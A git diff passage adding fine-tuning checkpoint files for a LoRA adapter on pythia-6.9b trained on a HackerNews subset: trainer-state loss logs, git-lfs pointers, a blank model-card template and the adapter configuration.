"eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.193035993088e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-500/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..eda5aa9a54eb28f7d4cc37bcb882be05217c069e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:28dab7b641098bfb6d94fdebb9df7b0d218c2a9840df4ad24918e010982757a1 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..f9945b2e29e5e8c5ced06f7e6b769e1876e7f6b4 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c2a943b828f3ce80670dad6c4585b25d74f75974778edfe879be1beffecf6846 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..52b85f2bd42c764f793cd9aa8382577ad1b51617 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:156b16fe2af6b1592b431fe36919ba4914ab9e672f318f884f5045be66654277 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..a5298f7a45852e72ab3264eef95969ac26ee5012 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:14a2456b0fb437e597f1bc67f02d12ea64caadba3ce80e5a7bba56290d13a10e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..a248a8d75c8c312a5fe765b90d0d264508dca9f9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-510/trainer_state.json @@ -0,0 +1,798 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 6.8, + "eval_steps": 10, + "global_step": 510, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 